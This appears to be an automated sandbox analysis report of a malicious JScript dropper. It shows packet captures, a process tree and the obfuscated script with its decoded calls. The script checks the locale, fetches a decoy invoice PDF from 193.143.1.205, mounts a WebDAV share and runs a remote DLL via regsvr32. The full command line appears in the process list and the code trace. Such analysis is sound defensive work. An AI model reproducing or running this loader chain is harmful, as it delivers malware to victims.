Jan 10, 2025 14:28:14.464041948 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 10, 2025 14:28:14.464055061 CET	1236	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 10, 2025 14:28:14.464081049 CET	1236	IN	Data Raw: b5 ad f8 d4 ad f1 fa 27 f9 4d b7 ff 84 00 40 a5 55 6e 65 f8 9c 7c 32 31 34 3c 30 54 c7 d0 eb 26 86 5e a6 18 7a 3a 8c a1 ef 5d 0c 7d de c7 d0 67 5d 09 0d 62 e8 eb 26 86 ee a5 18 ba 3f 8f a1 e7 26 86 de 3e dd df 35 31 f4 c1 c5 50 8e 0d dd ae a9 6f Data Ascii: 'M@Une\|214<0T&^z:]}g]b&?&>51PoN%,.[nmk-_BW?]\r}B`Qa8zs&711bC%21gm\|c#1t*SKvk>~}h]
Jan 10, 2025 14:28:14.464093924 CET	1236	IN	Data Raw: db 7e a1 b7 5c 41 e1 9d 56 ff 82 ae f8 36 5b e8 45 0c 5f c7 f2 4b b9 e8 cb b7 c6 37 cf 12 d7 b0 99 7f 80 00 80 b5 c4 9d 10 9f 9b ba 03 43 1f d4 81 a1 29 86 5e 5e b4 31 f4 74 18 43 f7 9a 18 ba 37 8f a1 ed a6 dc 34 1c da cc 87 0e 4b e8 68 0c 3d 6e Data Ascii: ~\AV6[E_K7C)^^1tC74Kh=nby~m0X].5rbXTtE/Q\reE_-zm=]_{E`TZ~F}i_Jnp}QqZ'C?V
Jan 10, 2025 14:28:14.464122057 CET	1236	IN	Data Raw: 73 cf 58 cd a7 83 7c 46 68 e6 87 01 cc db de bc b8 a3 49 d4 7f 16 98 4f 81 f5 be 9a e9 4a ca 37 96 45 5f c4 85 8a 64 fd 2b 18 fe 8e ab dc 69 47 6f b6 f4 50 00 13 aa fc 37 7d 7c ae 72 07 86 c6 31 f4 36 8a a1 27 d9 18 2a 9b 72 07 f3 a1 92 41 bb 12 Data Ascii: sX\|FhIOJ7E_d+iGoP7}\|r16'*rA;WIL}s_,$?i/TDGKx:z:GMX"D?W5XOfhUV#5zK\iKVF?GLS+<]j+t-9,O%{ZSiu5Ut
Jan 10, 2025 14:28:14.464135885 CET	1236	IN	Data Raw: a6 84 86 2f 65 ee 47 02 e4 bf 9a 9f 04 08 5f 5c 3f 63 eb 7f 0c c0 fc 30 80 f9 14 08 83 7b f9 d5 2c bf d3 16 ea a1 f5 3f 6e 51 ff b3 1f 85 16 e9 47 44 d3 55 95 d3 f6 42 77 5a 3f 2a be e8 db 9b af b7 01 6c ce aa bd 04 bb 2b 7f 60 68 1b 43 3f 0e 62 Data Ascii: /eG_\?c0{,?nQGDUBwZ?*l+`hC?bC31t_PC={6H=17`\|d%4,hze?{l1@PB%hZ/[/Im4UQCcrW~&TZ.QcaRU_rWP5[t0Wi+3=^
Jan 10, 2025 14:28:14.464148998 CET	1048	IN	Data Raw: 00 00 80 69 f0 c5 12 00 6c 81 bf af fa 33 10 7d 7c 1c 3d 8e d0 9c de 38 7a 68 63 7d 0f cd 1d a8 27 bd 49 02 90 ee 65 a9 84 a6 aa 92 d2 8f ce a0 3f fd f4 d3 8f 3f fe f8 c3 0f 3f fc 33 32 fb fb b3 ff 55 aa 68 1a 14 9d 7d 10 c9 43 e5 1e 6a c8 54 a0 Data Ascii: il3}\|=8zhc}'Ie???32Uh}CjTy^CRgK6t)BSB%{hazN'%.'JEhI\|]o67[5tEMN@h6wthe8vJXAu
Jan 10, 2025 14:28:14.488215923 CET	1236	IN	Data Raw: 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 ef 34 53 de 17 ca ee e1 79 be e9 2d a7 5f 50 f3 f3 00 b9 19 ed 5c dd ae 39 af 33 7c 4a fd 08 fc db 21 e9 da 32 e4 9b 1b 81 37 1b 8f cd 90 6f ee Data Ascii: \BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsIifY;r\|MoMUtkpYLI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49707	193.143.1.205	8888	7652	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 14:28:16.302755117 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 14:28:17.231277943 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 13:28:17 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	08:28:09
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10848104561916132198.js"
Imagebase:	0x7ff76b480000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	08:28:10
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\291663085531373.dll
Imagebase:	0x7ff7190f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	08:28:10
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	08:28:10
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	08:28:15
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6e8200000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	08:28:15
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7190f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	08:28:15
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff776570000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	08:28:16
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	08:28:16
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	08:28:16
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1624,i,12845682548832421709,10519307607851489243,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function kvout() {	kvout() ➔ undefined
1	whzcllfpq = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var tjjshbr = this[bgkjzaul + muams + sfqkrj + ixrmp + kcdopsmcw + hsluv + anmfincl + hycldmboj] ( this[miyzgw + brbytotr + qpjhqp + sfqkrj + gpudlenu + bgkjzaul + hycldmboj][oxcidob + sfqkrj + kcdopsmcw + muams + hycldmboj + kcdopsmcw + xatujs + wzvum + bfatfxyk + kcdopsmcw + qpjhqp + hycldmboj] ( miyzgw + brbytotr + qpjhqp + sfqkrj + gpudlenu + bgkjzaul + hycldmboj + ohyijtgr + brbytotr + yoynxcfd + kcdopsmcw + cvcmyctx + cvcmyctx ) [zwcpd + kcdopsmcw + edkeuidxv + zwcpd + kcdopsmcw + muams + ljapllldl] ( suscjj + bxzqz + dsvrtciyl + bmxacf + tohxxyl + oxcidob + cqefwmlp + zwcpd + zwcpd + dsvrtciyl + yczsbv + mojrvplr + tohxxyl + cqefwmlp + brbytotr + dsvrtciyl + zwcpd + cekkxmpk + oxcidob + kgsnrmm + anmfincl + hycldmboj + sfqkrj + kgsnrmm + cvcmyctx + dhtqxeuff + gjgeg + muams + anmfincl + kcdopsmcw + cvcmyctx + cekkxmpk + hsluv + anmfincl + hycldmboj + kcdopsmcw + sfqkrj + anmfincl + muams + hycldmboj + gpudlenu + kgsnrmm + anmfincl + muams + cvcmyctx + cekkxmpk + bsmhg + kgsnrmm + qpjhqp + muams + cvcmyctx + kcdopsmcw ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( rajjjta = 0 ; rajjjta < whzcllfpq[cvcmyctx + kcdopsmcw + anmfincl + edkeuidxv + hycldmboj + yoynxcfd] ; ++ rajjjta )
4	{
5	if ( tjjshbr == whzcllfpq[rajjjta] )
6	{
7	tjjshbr = true;
8	break ;
9	}
10	}
11	if ( tjjshbr !== true )
12	this[miyzgw + brbytotr + qpjhqp + sfqkrj + gpudlenu + bgkjzaul + hycldmboj][bsqco + tcmrwrkez + gpudlenu + hycldmboj] ( );
13	this[miyzgw + brbytotr + qpjhqp + sfqkrj + gpudlenu + bgkjzaul + hycldmboj][oxcidob + sfqkrj + kcdopsmcw + muams + hycldmboj + kcdopsmcw + xatujs + wzvum + bfatfxyk + kcdopsmcw + qpjhqp + hycldmboj] ( miyzgw + brbytotr + qpjhqp + sfqkrj + gpudlenu + bgkjzaul + hycldmboj + ohyijtgr + brbytotr + yoynxcfd + kcdopsmcw + cvcmyctx + cvcmyctx ) [sfqkrj + tcmrwrkez + anmfincl] ( qpjhqp + zuimzgw + ljapllldl + dhtqxeuff + djpbpqx + qpjhqp + dhtqxeuff + bgkjzaul + kgsnrmm + zysqhtz + kcdopsmcw + sfqkrj + ixrmp + yoynxcfd + kcdopsmcw + cvcmyctx + cvcmyctx + ohyijtgr + kcdopsmcw + muefm + kcdopsmcw + dhtqxeuff + zndomiv + oxcidob + kgsnrmm + zuimzgw + zuimzgw + muams + anmfincl + ljapllldl + dhtqxeuff + cjszi + hsluv + anmfincl + rndzv + kgsnrmm + owputrh + kcdopsmcw + zndomiv + miyzgw + kcdopsmcw + wzvum + zwcpd + kcdopsmcw + tlovb + tcmrwrkez + kcdopsmcw + ixrmp + hycldmboj + dhtqxeuff + zndomiv + xatujs + tcmrwrkez + hycldmboj + iugxbvez + gpudlenu + cvcmyctx + kcdopsmcw + dhtqxeuff + yeeiljo + hycldmboj + kcdopsmcw + zuimzgw + bgkjzaul + yeeiljo + cekkxmpk + gpudlenu + anmfincl + rndzv + kgsnrmm + gpudlenu + qpjhqp + kcdopsmcw + ohyijtgr + bgkjzaul + ljapllldl + ecebfjh + dhtqxeuff + yoynxcfd + hycldmboj + hycldmboj + bgkjzaul + nvjcsox + djpbpqx + djpbpqx + sbcvdwjhg + vjxedu + iwznza + ohyijtgr + sbcvdwjhg + mvdhwixy + iwznza + ohyijtgr + sbcvdwjhg + ohyijtgr + isfbcqy + mjvbe + gexjv + djpbpqx + gpudlenu + anmfincl + rndzv + kgsnrmm + gpudlenu + qpjhqp + kcdopsmcw + ohyijtgr + bgkjzaul + yoynxcfd + bgkjzaul + cjszi + hygwucu + hygwucu + ixrmp + hycldmboj + muams + sfqkrj + hycldmboj + dhtqxeuff + yeeiljo + hycldmboj + kcdopsmcw + zuimzgw + bgkjzaul + yeeiljo + cekkxmpk + gpudlenu + anmfincl + rndzv + kgsnrmm + gpudlenu + qpjhqp + kcdopsmcw + ohyijtgr + bgkjzaul + ljapllldl + ecebfjh + hygwucu + hygwucu + qpjhqp + zuimzgw + ljapllldl + dhtqxeuff + djpbpqx + qpjhqp + dhtqxeuff + anmfincl + kcdopsmcw + hycldmboj + dhtqxeuff + tcmrwrkez + ixrmp + kcdopsmcw + dhtqxeuff + cekkxmpk + cekkxmpk + sbcvdwjhg + vjxedu + iwznza + ohyijtgr + sbcvdwjhg + mvdhwixy + iwznza + ohyijtgr + sbcvdwjhg + ohyijtgr + isfbcqy + mjvbe + gexjv + isopc + fifzmennv + fifzmennv + fifzmennv + fifzmennv + cekkxmpk + ljapllldl + muams + rndzv + zysqhtz + zysqhtz + zysqhtz + sfqkrj + kgsnrmm + kgsnrmm + hycldmboj + cekkxmpk + hygwucu + hygwucu + qpjhqp + zuimzgw + ljapllldl + dhtqxeuff + djpbpqx + qpjhqp + dhtqxeuff + sfqkrj + kcdopsmcw + edkeuidxv + ixrmp + rndzv + sfqkrj + iwznza + isfbcqy + dhtqxeuff + djpbpqx + ixrmp + dhtqxeuff + cekkxmpk + cekkxmpk + sbcvdwjhg + vjxedu + iwznza + ohyijtgr + sbcvdwjhg + mvdhwixy + iwznza + ohyijtgr + sbcvdwjhg + ohyijtgr + isfbcqy + mjvbe + gexjv + isopc + fifzmennv + fifzmennv + fifzmennv + fifzmennv + cekkxmpk + ljapllldl + muams + rndzv + zysqhtz + zysqhtz + zysqhtz + sfqkrj + kgsnrmm + kgsnrmm + hycldmboj + cekkxmpk + isfbcqy + vjxedu + sbcvdwjhg + hyvtkry + hyvtkry + iwznza + mjvbe + fifzmennv + gexjv + gexjv + iwznza + sbcvdwjhg + iwznza + qdmrxxckt + iwznza + ohyijtgr + ljapllldl + cvcmyctx + cvcmyctx, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\291663085531373.dll",0,false) ➔ 0
14	}
15	kgsnrmm = "H";
16	kgsnrmm = "k";
17	kgsnrmm = "J";
18	kgsnrmm = "b";
19	kgsnrmm = "J";
20	kgsnrmm = "O";
21	kgsnrmm = "o";
22	kgsnrmm = "J";
23	kgsnrmm = "o";
24	muams = "H";
25	muams = "U";
26	muams = "k";
27	muams = "X";
28	muams = "G";
29	muams = "p";
30	muams = "a";
31	zndomiv = "U";
32	zndomiv = "a";
33	zndomiv = "T";
34	zndomiv = "d";
35	zndomiv = "L";
36	zndomiv = "d";
37	zndomiv = "-";
38	dsvrtciyl = "E";
39	dsvrtciyl = "a";
40	dsvrtciyl = "E";
41	dsvrtciyl = "R";
42	dsvrtciyl = "V";
43	dsvrtciyl = "Y";
44	dsvrtciyl = "F";
45	dsvrtciyl = "R";
46	dsvrtciyl = "G";
47	dsvrtciyl = "t";
48	dsvrtciyl = "O";
49	dsvrtciyl = "u";
50	dsvrtciyl = "R";
51	dsvrtciyl = "B";
52	dsvrtciyl = "O";
53	dsvrtciyl = "B";
54	dsvrtciyl = "E";
55	ohyijtgr = "O";
56	ohyijtgr = "k";
57	ohyijtgr = "o";
58	ohyijtgr = ".";
59	cvcmyctx = "o";
60	cvcmyctx = "A";
61	cvcmyctx = "P";
62	cvcmyctx = "X";
63	cvcmyctx = "z";
64	cvcmyctx = "Y";
65	cvcmyctx = "X";
66	cvcmyctx = "B";
67	cvcmyctx = "V";
68	cvcmyctx = "o";
69	cvcmyctx = "J";
70	cvcmyctx = "z";
71	cvcmyctx = "Z";
72	cvcmyctx = "C";
73	cvcmyctx = "c";
74	cvcmyctx = "j";
75	cvcmyctx = "q";
76	cvcmyctx = "i";
77	cvcmyctx = "o";
78	cvcmyctx = "q";
79	cvcmyctx = "P";
80	cvcmyctx = "H";
81	cvcmyctx = "p";
82	cvcmyctx = "w";
83	cvcmyctx = "v";
84	cvcmyctx = "q";
85	cvcmyctx = "R";
86	cvcmyctx = "r";
87	cvcmyctx = "S";
88	cvcmyctx = "l";
89	tcmrwrkez = "u";
90	tcmrwrkez = "w";
91	tcmrwrkez = "P";
92	tcmrwrkez = "R";
93	tcmrwrkez = "q";
94	tcmrwrkez = "R";
95	tcmrwrkez = "a";
96	tcmrwrkez = "b";
97	tcmrwrkez = "v";
98	tcmrwrkez = "i";
99	tcmrwrkez = "D";
100	tcmrwrkez = "J";
101	tcmrwrkez = "D";
102	tcmrwrkez = "y";
103	tcmrwrkez = "G";
104	tcmrwrkez = "K";
105	tcmrwrkez = "N";
106	tcmrwrkez = "s";
107	tcmrwrkez = "l";
108	tcmrwrkez = "j";
109	tcmrwrkez = "c";
110	tcmrwrkez = "U";
111	tcmrwrkez = "E";
112	tcmrwrkez = "F";
113	tcmrwrkez = "Z";
114	tcmrwrkez = "R";
115	tcmrwrkez = "u";
116	bgkjzaul = "c";
117	bgkjzaul = "d";
118	bgkjzaul = "p";
119	isopc = "u";
120	isopc = "x";
121	isopc = "i";
122	isopc = "w";
123	isopc = "N";
124	isopc = "k";
125	isopc = "c";
126	isopc = "J";
127	isopc = "B";
128	isopc = "a";
129	isopc = "a";
130	isopc = "R";
131	isopc = "k";
132	isopc = "F";
133	isopc = "b";
134	isopc = "r";
135	isopc = "u";
136	isopc = "f";
137	isopc = "V";
138	isopc = "@";
139	brbytotr = "M";
140	brbytotr = "s";
141	brbytotr = "l";
142	brbytotr = "P";
143	brbytotr = "m";
144	brbytotr = "A";
145	brbytotr = "o";
146	brbytotr = "t";
147	brbytotr = "y";
148	brbytotr = "x";
149	brbytotr = "D";
150	brbytotr = "R";
151	brbytotr = "R";
152	brbytotr = "j";
153	brbytotr = "q";
154	brbytotr = "F";
155	brbytotr = "m";
156	brbytotr = "p";
157	brbytotr = "S";
158	djpbpqx = "A";
159	djpbpqx = "d";
160	djpbpqx = "Z";
161	djpbpqx = "c";
162	djpbpqx = "K";
163	djpbpqx = "I";
164	djpbpqx = "Z";
165	djpbpqx = "W";
166	djpbpqx = "r";
167	djpbpqx = "g";
168	djpbpqx = "B";
169	djpbpqx = "T";
170	djpbpqx = "C";
171	djpbpqx = "Y";
172	djpbpqx = "M";
173	djpbpqx = "S";
174	djpbpqx = "r";
175	djpbpqx = "p";
176	djpbpqx = "q";
177	djpbpqx = "R";
178	djpbpqx = "Y";
179	djpbpqx = "S";
180	djpbpqx = "C";
181	djpbpqx = "j";
182	djpbpqx = "U";
183	djpbpqx = "w";
184	djpbpqx = "D";
185	djpbpqx = "u";
186	djpbpqx = "F";
187	djpbpqx = "C";
188	djpbpqx = "q";
189	djpbpqx = "/";
190	cjszi = "Y";
191	cjszi = "W";
192	cjszi = "S";
193	cjszi = "x";
194	cjszi = "d";
195	cjszi = "y";
196	cjszi = "F";
197	cjszi = "X";
198	cjszi = "o";
199	cjszi = "c";
200	cjszi = "g";
201	cjszi = "t";
202	cjszi = "K";
203	cjszi = "L";
204	cjszi = "F";
205	cjszi = "T";
206	cjszi = "g";
207	cjszi = "m";
208	cjszi = "i";
209	cjszi = "z";
210	cjszi = "A";
211	cjszi = "b";
212	cjszi = "c";
213	cjszi = "I";
214	cjszi = "U";
215	cjszi = "v";
216	cjszi = "\"";
217	yeeiljo = "d";
218	yeeiljo = "l";
219	yeeiljo = "b";
220	yeeiljo = "j";
221	yeeiljo = "r";
222	yeeiljo = "o";
223	yeeiljo = "z";
224	yeeiljo = "N";
225	yeeiljo = "t";
226	yeeiljo = "p";
227	yeeiljo = "s";
228	yeeiljo = "z";
229	yeeiljo = "A";
230	yeeiljo = "j";
231	yeeiljo = "t";
232	yeeiljo = "i";
233	yeeiljo = "s";
234	yeeiljo = "W";
235	yeeiljo = "p";
236	yeeiljo = "U";
237	yeeiljo = "j";
238	yeeiljo = "K";
239	yeeiljo = "B";
240	yeeiljo = "M";
241	yeeiljo = "h";
242	yeeiljo = "M";
243	yeeiljo = "i";
244	yeeiljo = "t";
245	yeeiljo = "j";
246	yeeiljo = "N";
247	yeeiljo = "b";
248	yeeiljo = "X";
249	yeeiljo = "q";
250	yeeiljo = "d";
251	yeeiljo = "m";
252	yeeiljo = "O";
253	yeeiljo = "T";
254	yeeiljo = "X";
255	yeeiljo = "h";
256	yeeiljo = "p";
257	yeeiljo = "V";
258	yeeiljo = "H";
259	yeeiljo = "S";
260	yeeiljo = "%";
261	sfqkrj = "L";
262	sfqkrj = "w";
263	sfqkrj = "T";
264	sfqkrj = "M";
265	sfqkrj = "X";
266	sfqkrj = "q";
267	sfqkrj = "f";
268	sfqkrj = "k";
269	sfqkrj = "r";
270	gjgeg = "I";
271	gjgeg = "H";
272	gjgeg = "X";
273	gjgeg = "T";
274	gjgeg = "i";
275	gjgeg = "j";
276	gjgeg = "T";
277	gjgeg = "I";
278	gjgeg = "l";
279	gjgeg = "G";
280	gjgeg = "g";
281	gjgeg = "X";
282	gjgeg = "P";
283	gjgeg = "I";
284	gjgeg = "b";
285	gjgeg = "U";
286	gjgeg = "G";
287	gjgeg = "t";
288	gjgeg = "m";
289	gjgeg = "Y";
290	gjgeg = "d";
291	gjgeg = "g";
292	gjgeg = "u";
293	gjgeg = "r";
294	gjgeg = "b";
295	gjgeg = "w";
296	gjgeg = "j";
297	gjgeg = "W";
298	gjgeg = "Q";
299	gjgeg = "H";
300	gjgeg = "x";
301	gjgeg = "p";
302	gjgeg = "U";
303	gjgeg = "V";
304	gjgeg = "P";
305	mvdhwixy = "4";
306	mjvbe = "V";
307	mjvbe = "p";
308	mjvbe = "B";
309	mjvbe = "U";
310	mjvbe = "L";
311	mjvbe = "p";
312	mjvbe = "x";
313	mjvbe = "v";
314	mjvbe = "B";
315	mjvbe = "H";
316	mjvbe = "P";
317	mjvbe = "o";
318	mjvbe = "X";
319	mjvbe = "Q";
320	mjvbe = "0";
321	sbcvdwjhg = "U";
322	sbcvdwjhg = "1";
323	vjxedu = "T";
324	vjxedu = "U";
325	vjxedu = "z";
326	vjxedu = "r";
327	vjxedu = "Z";
328	vjxedu = "x";
329	vjxedu = "x";
330	vjxedu = "J";
331	vjxedu = "O";
332	vjxedu = "X";
333	vjxedu = "R";
334	vjxedu = "z";
335	vjxedu = "r";
336	vjxedu = "Z";
337	vjxedu = "n";
338	vjxedu = "z";
339	vjxedu = "D";
340	vjxedu = "t";
341	vjxedu = "I";
342	vjxedu = "Q";
343	vjxedu = "z";
344	vjxedu = "i";
345	vjxedu = "J";
346	vjxedu = "T";
347	vjxedu = "i";
348	vjxedu = "d";
349	vjxedu = "p";
350	vjxedu = "N";
351	vjxedu = "N";
352	vjxedu = "W";
353	vjxedu = "d";
354	vjxedu = "t";
355	vjxedu = "X";
356	vjxedu = "d";
357	vjxedu = "z";
358	vjxedu = "T";
359	vjxedu = "V";
360	vjxedu = "u";
361	vjxedu = "9";
362	qpjhqp = "y";
363	qpjhqp = "Q";
364	qpjhqp = "U";
365	qpjhqp = "v";
366	qpjhqp = "U";
367	qpjhqp = "G";
368	qpjhqp = "q";
369	qpjhqp = "Q";
370	qpjhqp = "q";
371	qpjhqp = "U";
372	qpjhqp = "h";
373	qpjhqp = "Z";
374	qpjhqp = "H";
375	qpjhqp = "u";
376	qpjhqp = "a";
377	qpjhqp = "m";
378	qpjhqp = "u";
379	qpjhqp = "T";
380	qpjhqp = "C";
381	qpjhqp = "D";
382	qpjhqp = "y";
383	qpjhqp = "o";
384	qpjhqp = "Y";
385	qpjhqp = "r";
386	qpjhqp = "P";
387	qpjhqp = "f";
388	qpjhqp = "I";
389	qpjhqp = "W";
390	qpjhqp = "j";
391	qpjhqp = "c";
392	ljapllldl = "Y";
393	ljapllldl = "d";
394	hsluv = "b";
395	hsluv = "O";
396	hsluv = "o";
397	hsluv = "N";
398	hsluv = "V";
399	hsluv = "T";
400	hsluv = "x";
401	hsluv = "S";
402	hsluv = "V";
403	hsluv = "x";
404	hsluv = "D";
405	hsluv = "P";
406	hsluv = "E";
407	hsluv = "K";
408	hsluv = "h";
409	hsluv = "i";
410	hsluv = "L";
411	hsluv = "e";
412	hsluv = "d";
413	hsluv = "V";
414	hsluv = "m";
415	hsluv = "A";
416	hsluv = "B";
417	hsluv = "A";
418	hsluv = "Y";
419	hsluv = "f";
420	hsluv = "V";
421	hsluv = "K";
422	hsluv = "c";
423	hsluv = "O";
424	hsluv = "P";
425	hsluv = "B";
426	hsluv = "g";
427	hsluv = "a";
428	hsluv = "U";
429	hsluv = "Q";
430	hsluv = "T";
431	hsluv = "o";
432	hsluv = "A";
433	hsluv = "O";
434	hsluv = "V";
435	hsluv = "E";
436	hsluv = "g";
437	hsluv = "F";
438	hsluv = "I";
439	nvjcsox = "a";
440	nvjcsox = "d";
441	nvjcsox = "z";
442	nvjcsox = "e";
443	nvjcsox = "e";
444	nvjcsox = "i";
445	nvjcsox = "Z";
446	nvjcsox = "C";
447	nvjcsox = "H";
448	nvjcsox = "H";
449	nvjcsox = "s";
450	nvjcsox = "A";
451	nvjcsox = "y";
452	nvjcsox = "t";
453	nvjcsox = "k";
454	nvjcsox = "u";
455	nvjcsox = "V";
456	nvjcsox = "v";
457	nvjcsox = "W";
458	nvjcsox = "p";
459	nvjcsox = "L";
460	nvjcsox = "R";
461	nvjcsox = "c";
462	nvjcsox = "t";
463	nvjcsox = "t";
464	nvjcsox = "k";
465	nvjcsox = "y";
